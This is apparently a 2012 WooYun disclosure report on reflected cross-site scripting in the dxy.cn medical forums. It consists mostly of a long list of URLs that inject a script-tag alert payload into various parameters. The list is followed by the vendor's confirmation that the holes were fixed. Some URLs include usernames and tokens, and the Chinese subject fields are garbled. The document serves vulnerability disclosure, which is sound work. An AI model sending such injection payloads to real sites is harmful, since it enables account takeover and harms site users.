http://d.dxy.cn/detail/4042020?username=jiaqing5604128&bid=46&subject=鏉ュ緱鏃�&csrfToken=bec9291b-18a4-4e70-aa2d-520d8d1466e9&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/4042022?username=wanggxy28&bid=137&subject=鎴戝浗鍎跨鎬ユ晳浣撶郴寤鸿鐜扮姸涓庡彂灞曟€濊€�&csrfToken=aae693cf-2b28-4fea-990d-dc1b4019894e&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4042029?username=liudehua1234024&bid=131&subject=2007鑽晱杩涗慨绉�-鐜嬭緣&csrfToken=986d0446-853a-4215-8d75-494e3825960b&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4042020?username=jiaqing5604128&bid=46&subject=鏉ュ緱鏃�&csrfToken=bec9291b-18a4-4e70-aa2d-520d8d1466e9&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/2467959?username=binpda&bid=80&subject=鏅掓檼鎴戜腑鏍囩殑鍑犱唤鍥藉鑷劧绉戝鍩洪噾鏍囦功&csrfToken=b27fa8dd-a778-44c9-8797-e5a6e431404c&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4042020?username=jiaqing5604128&bid=46&subject=鏉ュ緱鏃�&csrfToken=bec9291b-18a4-4e70-aa2d-520d8d1466e9&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4035865?username='"><script>alert(301);</script><"&subject=鍙ｆ湇鎶楀嚌鑽�&csrfToken=c1edc834-f8cf-4be5-93b7-c413e7a74ef0&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4038512?username='"><script>alert(301);</script><"&bid=51&subject=楹婚唹鐞嗗康涓庡疄鏂�&csrfToken=279b54d9-2750-426b-9908-a294dd296294&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4033928?username='"><script>alert(301);</script><"&subject=鍝堜經澶у鏁欐巿鏁欎綘鍐欒鏂�&csrfToken=393c8ecc-4f75-41e8-96df-299688dfbf1a&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4032825?username='"><script>alert(301);</script><"&bid=116&subject=Initial&csrfToken=86bc9ac4-9984-402d-b814-84f076d94e6c&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4030539?username='"><script>alert(301);</script><"&bid=57&subject=娣卞湷浣忛櫌鍖诲笀+闈㈣瘯鐪熼+鍙婄瓟妗�&csrfToken=e3f6c23d-54a6-40cb-8dac-5b67d0a3599d&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4035884?username='"><script>alert(301);</script><"&subject=A&csrfToken=3154d315-ab47-4286-85ba-ab07a8ca0f38&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4032547?username='"><script>alert(301);</script><"&subject=stroke&csrfToken=195e49fa-e5bb-4f82-ba03-98842140f5c6&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4036422?username='"><script>alert(301);</script><"&bid=57&subject=瀹夊窘鐪佺珛鍖婚櫌闆嗗洟2012灞婄澹渶姹傝〃&csrfToken=edef93da-2995-4d6b-9cec-ce636222c24e&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4035865?username=鏉庢厱鐧�&bid=116&subject='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4033928?username=闀块潚钘ょ紪杈�&bid=45&subject='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4034764?username='"><script>alert(301);</script><"&bid=238&subject=2011骞村叏鍥藉尰瀛﹀崥澹嫳璇粺鑰冪湡棰樺惉鍔�&csrfToken=4aaa2658-de0a-47f6-b509-354f772c75f0&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4030539?username=s_dxding&bid='"><script>alert(301);</script><"&subject=娣卞湷浣忛櫌鍖诲笀+闈㈣瘯鐪熼+鍙婄瓟妗�&csrfToken=e3f6c23d-54a6-40cb-8dac-5b67d0a3599d&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4038512?username=鐏北鍏堢敓&bid='"><script>alert(301);</script><"&subject=楹婚唹鐞嗗康涓庡疄鏂�&csrfToken=279b54d9-2750-426b-9908-a294dd296294&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4035884?username=閫�&bid=48&subject='"><script>alert(301);</script><"&csrfToken=3154d315-ab47-4286-85ba-ab07a8ca0f38&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4032825?username=nndmx&bid='"><script>alert(301);</script><"&subject=Initial&csrfToken=86bc9ac4-9984-402d-b814-84f076d94e6c&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4028273?username='"><script>alert(301);</script><"&bid=48&subject=鍏ㄦ湰甯﹀瓧骞�&csrfToken=f6a08215-6cde-42ed-b95e-7e3dc571253b&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4032547?username=鏉庢厱鐧�&bid=116&subject='"><script>alert(301);</script><"&csrfToken=195e49fa-e5bb-4f82-ba03-98842140f5c6&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4036422?username=razgriz&bid='"><script>alert(301);</script><"&subject=瀹夊窘鐪佺珛鍖婚櫌闆嗗洟2012灞婄澹渶姹傝〃&csrfToken=edef93da-2995-4d6b-9cec-ce636222c24e&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4034764?username=wangjo731&bid='"><script>alert(301);</script><"&subject=2011骞村叏鍥藉尰瀛﹀崥澹嫳璇粺鑰冪湡棰樺惉鍔�&csrfToken=4aaa2658-de0a-47f6-b509-354f772c75f0&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4030539?username=s_dxding&bid=57&subject='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4033928?username=闀块潚钘ょ紪杈�&bid=45&subject=鍝堜經澶у鏁欐巿鏁欎綘鍐欒鏂�&csrfToken=393c8ecc-4f75-41e8-96df-299688dfbf1a&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/4038512?username=鐏北鍏堢敓&bid=51&subject='"><script>alert(1137172);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4035865?username=鏉庢厱鐧�&bid=116&subject=鍙ｆ湇鎶楀嚌鑽�&csrfToken=c1edc834-f8cf-4be5-93b7-c413e7a74ef0&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/4032825?username=nndmx&bid=116&subject='"><script>alert(4123161);</script><"&csrfToken=86bc9ac4-9984-402d-b814-84f076d94e6c&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4035884?username=閫�&bid=48&subject=A&csrfToken='"><script>alert(4123161);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4028273?username=boty&bid='"><script>alert(4123161);</script><"&subject=鍏ㄦ湰甯﹀瓧骞�&csrfToken=f6a08215-6cde-42ed-b95e-7e3dc571253b&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4032547?username=鏉庢厱鐧�&bid=116&subject=stroke&csrfToken='"><script>alert(0542815);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4036422?username=razgriz&bid=57&subject='"><script>alert(301);</script><"&csrfToken=edef93da-2995-4d6b-9cec-ce636222c24e&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4033928?username=闀块潚钘ょ紪杈�&bid=45&subject=鍝堜經澶у鏁欐巿鏁欎綘鍐欒鏂�&csrfToken=393c8ecc-4f75-41e8-96df-299688dfbf1a&action=Delete&fileId='"><script>alert(9481102);</script><"&limit=0
http://d.dxy.cn/detail/4032825?username=nndmx&bid=116&subject=Initial&csrfToken='"><script>alert(1598801);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4028273?username=boty&bid=48&subject='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4035884?username=閫�&bid=48&subject=A&csrfToken=3154d315-ab47-4286-85ba-ab07a8ca0f38&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/4035865?username=鏉庢厱鐧�&bid=116&subject=鍙ｆ湇鎶楀嚌鑽�&csrfToken=c1edc834-f8cf-4be5-93b7-c413e7a74ef0&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4038512?username=鐏北鍏堢敓&bid=51&subject=楹婚唹鐞嗗康涓庡疄鏂�&csrfToken=279b54d9-2750-426b-9908-a294dd296294&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/4032547?username=鏉庢厱鐧�&bid=116&subject=stroke&csrfToken=195e49fa-e5bb-4f82-ba03-98842140f5c6&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/4034764?username=wangjo731&bid=238&subject='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4030539?username=s_dxding&bid=57&subject=娣卞湷浣忛櫌鍖诲笀+闈㈣瘯鐪熼+鍙婄瓟妗�&csrfToken=e3f6c23d-54a6-40cb-8dac-5b67d0a3599d&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/4036422?username=razgriz&bid=57&subject=瀹夊窘鐪佺珛鍖婚櫌闆嗗洟2012灞婄澹渶姹傝〃&csrfToken='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4033928?username=闀块潚钘ょ紪杈�&bid=45&subject=鍝堜經澶у鏁欐巿鏁欎綘鍐欒鏂�&csrfToken=393c8ecc-4f75-41e8-96df-299688dfbf1a&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://phd.dxy.cn/bbs/topic/22364469?done='"><script>alert(301);</script><"&ct=03a5be21-c633-4a77-bffb-ab93373e950e
http://d.dxy.cn/detail/4032825?username=nndmx&bid=116&subject=Initial&csrfToken=86bc9ac4-9984-402d-b814-84f076d94e6c&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/4035884?username=閫�&bid=48&subject=A&csrfToken=3154d315-ab47-4286-85ba-ab07a8ca0f38&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4038512?username=鐏北鍏堢敓&bid=51&subject=楹婚唹鐞嗗康涓庡疄鏂�&csrfToken=279b54d9-2750-426b-9908-a294dd296294&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4028273?username=boty&bid=48&subject=鍏ㄦ湰甯﹀瓧骞�&csrfToken=f6a08215-6cde-42ed-b95e-7e3dc571253b&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/4036422?username=razgriz&bid=57&subject=瀹夊窘鐪佺珛鍖婚櫌闆嗗洟2012灞婄澹渶姹傝〃&csrfToken=edef93da-2995-4d6b-9cec-ce636222c24e&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/4032547?username=鏉庢厱鐧�&bid=116&subject=stroke&csrfToken=195e49fa-e5bb-4f82-ba03-98842140f5c6&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4034764?username=wangjo731&bid=238&subject=2011骞村叏鍥藉尰瀛﹀崥澹嫳璇粺鑰冪湡棰樺惉鍔�&csrfToken=4aaa2658-de0a-47f6-b509-354f772c75f0&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/4030539?username=s_dxding&bid=57&subject=娣卞湷浣忛櫌鍖诲笀+闈㈣瘯鐪熼+鍙婄瓟妗�&csrfToken=e3f6c23d-54a6-40cb-8dac-5b67d0a3599d&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4035865?username=鏉庢厱鐧�&bid=116&subject=鍙ｆ湇鎶楀嚌鑽�&csrfToken=c1edc834-f8cf-4be5-93b7-c413e7a74ef0&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4032825?username=nndmx&bid=116&subject=Initial&csrfToken=86bc9ac4-9984-402d-b814-84f076d94e6c&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4038512?username=鐏北鍏堢敓&bid=51&subject=楹婚唹鐞嗗康涓庡疄鏂�&csrfToken=279b54d9-2750-426b-9908-a294dd296294&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://happy.dxy.cn/bbs/?bid='"><script>alert(301);</script><"&done=/bbs/post/page&ct=83b503d5-8eab-4c5d-bf66-1eba6767c1a9
http://d.dxy.cn/detail/4035884?username=閫�&bid=48&subject=A&csrfToken=3154d315-ab47-4286-85ba-ab07a8ca0f38&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4028273?username=boty&bid=48&subject=鍏ㄦ湰甯﹀瓧骞�&csrfToken=f6a08215-6cde-42ed-b95e-7e3dc571253b&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4030539?username=s_dxding&bid=57&subject=娣卞湷浣忛櫌鍖诲笀+闈㈣瘯鐪熼+鍙婄瓟妗�&csrfToken=e3f6c23d-54a6-40cb-8dac-5b67d0a3599d&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4034764?username=wangjo731&bid=238&subject=2011骞村叏鍥藉尰瀛﹀崥澹嫳璇粺鑰冪湡棰樺惉鍔�&csrfToken=4aaa2658-de0a-47f6-b509-354f772c75f0&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4032547?username=鏉庢厱鐧�&bid=116&subject=stroke&csrfToken=195e49fa-e5bb-4f82-ba03-98842140f5c6&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4032825?username=nndmx&bid=116&subject=Initial&csrfToken=86bc9ac4-9984-402d-b814-84f076d94e6c&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://phd.dxy.cn/bbs/topic/22364469?done=/bbs/topic/22364469&ct='"><script>alert(301);</script><"
http://guke.dxy.cn/bbs/topic/21945406?done='"><script>alert(301);</script><"&ct=1647a0bb-aaa4-4ba5-bc19-1ed2e47df83a
http://d.dxy.cn/detail/4036422?username=razgriz&bid=57&subject=瀹夊窘鐪佺珛鍖婚櫌闆嗗洟2012灞婄澹渶姹傝〃&csrfToken=edef93da-2995-4d6b-9cec-ce636222c24e&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://happy.dxy.cn/bbs/?bid=15&done='"><script>alert(301);</script><"&ct=83b503d5-8eab-4c5d-bf66-1eba6767c1a9
http://d.dxy.cn/detail/4028273?username=boty&bid=48&subject=鍏ㄦ湰甯﹀瓧骞�&csrfToken=f6a08215-6cde-42ed-b95e-7e3dc571253b&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4034764?username=wangjo731&bid=238&subject=2011骞村叏鍥藉尰瀛﹀崥澹嫳璇粺鑰冪湡棰樺惉鍔�&csrfToken=4aaa2658-de0a-47f6-b509-354f772c75f0&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4036422?username=razgriz&bid=57&subject=瀹夊窘鐪佺珛鍖婚櫌闆嗗洟2012灞婄澹渶姹傝〃&csrfToken=edef93da-2995-4d6b-9cec-ce636222c24e&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://guke.dxy.cn/bbs/topic/21945406?done=/bbs/topic/21945406&ct='"><script>alert(301);</script><"
http://job.dxy.cn/bbs/?bid='"><script>alert(6820030);</script><"&done=/bbs/post/page&ct=a0140b90-6b09-4350-b3af-d846207710d4
http://happy.dxy.cn/bbs/?bid=15&done=/bbs/post/page&ct='"><script>alert(301);</script><"
http://master.dxy.cn/bbs/topic/22329723?done='"><script>alert(301);</script><"&ct=905f2306-21e2-4355-ba51-1c5555be2ba5
http://job.dxy.cn/bbs/?bid=57&done='"><script>alert(301);</script><"&ct=a0140b90-6b09-4350-b3af-d846207710d4
http://Phd.dxy.cn/bbs/topic/22371336?done='"><script>alert(301);</script><"&ct=afe58184-6481-4923-93eb-4bf10a01580a
http://master.dxy.cn/bbs/topic/22329723?done=/bbs/topic/22329723&ct='"><script>alert(301);</script><"
http://Phd.dxy.cn/bbs/topic/22371336?done=/bbs/topic/22371336&ct='"><script>alert(301);</script><"
http://job.dxy.cn/bbs/?bid=57&done=/bbs/post/page&ct='"><script>alert(301);</script><"
http://Phd.dxy.cn/bbs/topic/22369964?done='"><script>alert(301);</script><"&ct=c3925e5b-af14-45cf-8590-9c16d5beb75b
http://Phd.dxy.cn/bbs/topic/22369964?done=/bbs/topic/22369964&ct='"><script>alert(301);</script><"
http://master.dxy.cn/bbs/topic/22351661?done='"><script>alert(301);</script><"&ct=f6e88f16-db85-432d-b98e-60b49dc5d2aa
http://master.dxy.cn/bbs/topic/22351661?done=/bbs/topic/22351661&ct='"><script>alert(301);</script><"
http://Phd.dxy.cn/bbs/topic/22363485?done='"><script>alert(301);</script><"&ct=384b1ca3-7d91-4d44-b55e-48d32b499e6f
http://Phd.dxy.cn/bbs/topic/22366147?done='"><script>alert(301);</script><"&ct=131694e2-7acd-45b4-abca-a6e5543e1602
http://Phd.dxy.cn/bbs/topic/22363485?done=/bbs/topic/22363485&ct='"><script>alert(301);</script><"
http://Phd.dxy.cn/bbs/topic/22366147?done=/bbs/topic/22366147&ct='"><script>alert(301);</script><"
http://anes.dxy.cn/bbs/topic/22372053?done='"><script>alert(301);</script><"&ct=f4477033-153d-4fa6-8ee9-00ccf8714466
http://master.dxy.cn/bbs/topic/22350623?done='"><script>alert(301);</script><"&ct=56208336-6dd3-4feb-90a6-a48a9c8c0521
http://master.dxy.cn/bbs/topic/22340909?done='"><script>alert(301);</script><"&ct=dfb34f03-ab81-4cdb-9474-331fbc1f4848
http://master.dxy.cn/bbs/topic/22350623?done=/bbs/topic/22350623&ct='"><script>alert(301);</script><"
http://anes.dxy.cn/bbs/topic/22372053?done=/bbs/topic/22372053&ct='"><script>alert(301);</script><"
http://master.dxy.cn/bbs/topic/22342254?done='"><script>alert(0357631);</script><"&ct=75cde2ea-745b-464c-a742-8d082fe41295
http://master.dxy.cn/bbs/topic/22340909?done=/bbs/topic/22340909&ct='"><script>alert(301);</script><"
http://master.dxy.cn/bbs/topic/22342254?done=/bbs/topic/22342254&ct='"><script>alert(301);</script><"
http://news.dxy.cn/bbs/topic/22347032?done='"><script>alert(301);</script><"&ct=1ce80427-513c-40c8-bb14-62e599d223a9
http://news.dxy.cn/bbs/topic/22347032?done=/bbs/topic/22347032&ct='"><script>alert(301);</script><"
http://labmed.dxy.cn/bbs/?bid='"><script>alert(301);</script><"&done=/bbs/post/page&ct=d65f81b7-8ed9-4684-aa60-ff2f2c143def
http://www.dxy.cn/bbs/topic/21945406?done='"><script>alert(301);</script><"&ct=c206c4ae-2dc2-4429-91d7-f2d3c92782be
http://guke.dxy.cn/bbs/?bid='"><script>alert(301);</script><"&done=/bbs/post/page&ct=c2c1c67a-c401-4551-aad2-8155ca88c5ff
http://d.dxy.cn/detail/4030788?username='"><script>alert(301);</script><"&bid=116&subject=ng-Term&csrfToken=e2d8c014-01fd-4a9f-acea-51d3278780f7&action=Delete&fileId=0&limit=0
http://labmed.dxy.cn/bbs/?bid=131&done='"><script>alert(301);</script><"&ct=d65f81b7-8ed9-4684-aa60-ff2f2c143def
http://www.dxy.cn/bbs/topic/21945406?done=/bbs/topic/21945406&ct='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4030788?username=shumufeng&bid='"><script>alert(8699201);</script><"&subject=ng-Term&csrfToken=e2d8c014-01fd-4a9f-acea-51d3278780f7&action=Delete&fileId=0&limit=0
http://guke.dxy.cn/bbs/?bid=50&done='"><script>alert(301);</script><"&ct=c2c1c67a-c401-4551-aad2-8155ca88c5ff
http://anes.dxy.cn/bbs/?bid='"><script>alert(301);</script><"&done=/bbs/post/page&ct=8e65633c-acb1-404b-8300-d1d959cd888c
http://labmed.dxy.cn/bbs/?bid=131&done=/bbs/post/page&ct='"><script>alert(301);</script><"
http://guke.dxy.cn/bbs/?bid=50&done=/bbs/post/page&ct='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4030788?username=shumufeng&bid=116&subject='"><script>alert(301);</script><"&csrfToken=e2d8c014-01fd-4a9f-acea-51d3278780f7&action=Delete&fileId=0&limit=0
http://anes.dxy.cn/bbs/?bid=51&done='"><script>alert(301);</script><"&ct=8e65633c-acb1-404b-8300-d1d959cd888c
http://news.dxy.cn/bbs/topic/22327657?done='"><script>alert(301);</script><"&ct=fdc7f82c-2eb7-45b9-bcb5-12876bd40927
http://d.dxy.cn/detail/4032111?username='"><script>alert(301);</script><"&subject=AF&csrfToken=f5eb1d11-c610-49d2-9e32-b357756bd682&action=Delete&fileId=0&limit=0
http://anes.dxy.cn/bbs/?bid=51&done=/bbs/post/page&ct='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4032111?username=鏉庢厱鐧�&bid=116&subject='"><script>alert(301);</script><"&csrfToken=f5eb1d11-c610-49d2-9e32-b357756bd682&action=Delete&fileId=0&limit=0
http://news.dxy.cn/bbs/topic/22327657?done=/bbs/topic/22327657&ct='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4030788?username=shumufeng&bid=116&subject=ng-Term&csrfToken='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://d.dxy.cn/detail/4032111?username=鏉庢厱鐧�&bid=116&subject=AF&csrfToken='"><script>alert(301);</script><"&action=Delete&fileId=0&limit=0
http://Radiology.dxy.cn/bbs/?bid='"><script>alert(301);</script><"&done=/bbs/post/page&ct=dd708601-06d7-4a38-988d-d5893b726e35
http://cardiovascular.dxy.cn/bbs/?bid='"><script>alert(301);</script><"&done=/bbs/post/page&ct=37d32271-8e8c-4c93-873a-a558f7cb7c95
http://Radiology.dxy.cn/bbs/?bid=89&done='"><script>alert(301);</script><"&ct=dd708601-06d7-4a38-988d-d5893b726e35
http://d.dxy.cn/detail/4030788?username=shumufeng&bid=116&subject=ng-Term&csrfToken=e2d8c014-01fd-4a9f-acea-51d3278780f7&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://d.dxy.cn/detail/4032111?username=鏉庢厱鐧�&bid=116&subject=AF&csrfToken=f5eb1d11-c610-49d2-9e32-b357756bd682&action='"><script>alert(301);</script><"&fileId=0&limit=0
http://cardiovascular.dxy.cn/bbs/?bid=47&done='"><script>alert(301);</script><"&ct=37d32271-8e8c-4c93-873a-a558f7cb7c95
http://Radiology.dxy.cn/bbs/?bid=89&done=/bbs/post/page&ct='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4032111?username=鏉庢厱鐧�&bid=116&subject=AF&csrfToken=f5eb1d11-c610-49d2-9e32-b357756bd682&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4030788?username=shumufeng&bid=116&subject=ng-Term&csrfToken=e2d8c014-01fd-4a9f-acea-51d3278780f7&action=Delete&fileId='"><script>alert(301);</script><"&limit=0
http://d.dxy.cn/detail/4032111?username=鏉庢厱鐧�&bid=116&subject=AF&csrfToken=f5eb1d11-c610-49d2-9e32-b357756bd682&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://d.dxy.cn/detail/4030788?username=shumufeng&bid=116&subject=ng-Term&csrfToken=e2d8c014-01fd-4a9f-acea-51d3278780f7&action=Delete&fileId=0&limit='"><script>alert(301);</script><"
http://ophthalmology.dxy.cn/bbs/?bid='"><script>alert(301);</script><"&done=/bbs/post/page&ct=cc80bac8-f1c8-4ca4-bc47-37b871782176
http://cardiovascular.dxy.cn/bbs/?bid=47&done=/bbs/post/page&ct='"><script>alert(301);</script><"
http://ophthalmology.dxy.cn/bbs/?bid=119&done='"><script>alert(301);</script><"&ct=cc80bac8-f1c8-4ca4-bc47-37b871782176
http://chest.dxy.cn/bbs/topic/22308800?done='"><script>alert(301);</script><"&ct=e8d67fff-b2c4-4d7e-9e85-fd0a73ff146c
http://radiology.dxy.cn/bbs/topic/22287458?done='"><script>alert(301);</script><"&ct=28d16460-c774-43bf-a786-112825d44b25
http://radiology.dxy.cn/bbs/topic/22285415?done='"><script>alert(301);</script><"&ct=e79f2c10-e7a3-49e3-8c90-52da7c45dfa7
http://radiology.dxy.cn/bbs/topic/22269094?done='"><script>alert(301);</script><"&ct=c6e9b2ed-830a-4909-9ae0-9c75994e1562
http://radiology.dxy.cn/bbs/topic/22268022?done='"><script>alert(301);</script><"&ct=d169ded4-635a-4884-8760-39254c916525
http://radiology.dxy.cn/bbs/topic/22230448?done='"><script>alert(301);</script><"&ct=51647eba-ea74-4112-b4f2-f949cd9e2a34
http://radiology.dxy.cn/bbs/topic/22265918?done='"><script>alert(301);</script><"&ct=9119a252-9087-423c-9a88-d3099804c1c6
http://radiology.dxy.cn/bbs/topic/22245736?done='"><script>alert(301);</script><"&ct=a876271d-a524-4879-81f2-631f9e5c3d1d
http://ophthalmology.dxy.cn/bbs/?bid=119&done=/bbs/post/page&ct='"><script>alert(301);</script><"
http://chest.dxy.cn/bbs/topic/22308800?done=/bbs/topic/22308800&ct='"><script>alert(301);</script><"
http://radiology.dxy.cn/bbs/topic/22268022?done=/bbs/topic/22268022&ct='"><script>alert(301);</script><"
http://radiology.dxy.cn/bbs/topic/22285415?done=/bbs/topic/22285415&ct='"><script>alert(301);</script><"
http://radiology.dxy.cn/bbs/topic/22287458?done=/bbs/topic/22287458&ct='"><script>alert(301);</script><"
http://radiology.dxy.cn/bbs/topic/22230448?done=/bbs/topic/22230448&ct='"><script>alert(301);</script><"
http://radiology.dxy.cn/bbs/topic/22265918?done=/bbs/topic/22265918&ct='"><script>alert(301);</script><"
http://radiology.dxy.cn/bbs/topic/22269094?done=/bbs/topic/22269094&ct='"><script>alert(301);</script><"
http://radiology.dxy.cn/bbs/topic/22245736?done=/bbs/topic/22245736&ct='"><script>alert(301);</script><"
http://nursing.dxy.cn/bbs/?bid='"><script>alert(301);</script><"&done=/bbs/post/page&ct=89a58c52-2311-49da-9689-734ed4be51f1
http://news.dxy.cn/bbs/topic/22346533?done='"><script>alert(3018);</script><"&ct=498e5
漏洞证明：
修复方案：
慢慢修复吧。有的忙了。QQ2036234
版权声明：转载请注明来源 zeracker@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2012-03-07 15:19
厂商回复：
非常感谢，努力修复中。
最新状态：
2012-03-07：非常感谢，漏洞在进一步修复. 数量稍微有些重复。URL 中含有{bbs/topic} 的为一个漏洞. d.dxy.cn URL的漏洞为一个.
2012-03-07：已经修复. 非常感谢! 之前zeracker发来的邮件被误判到Spam目录中，以致信息没有看到。并非有意「忽视」，见谅！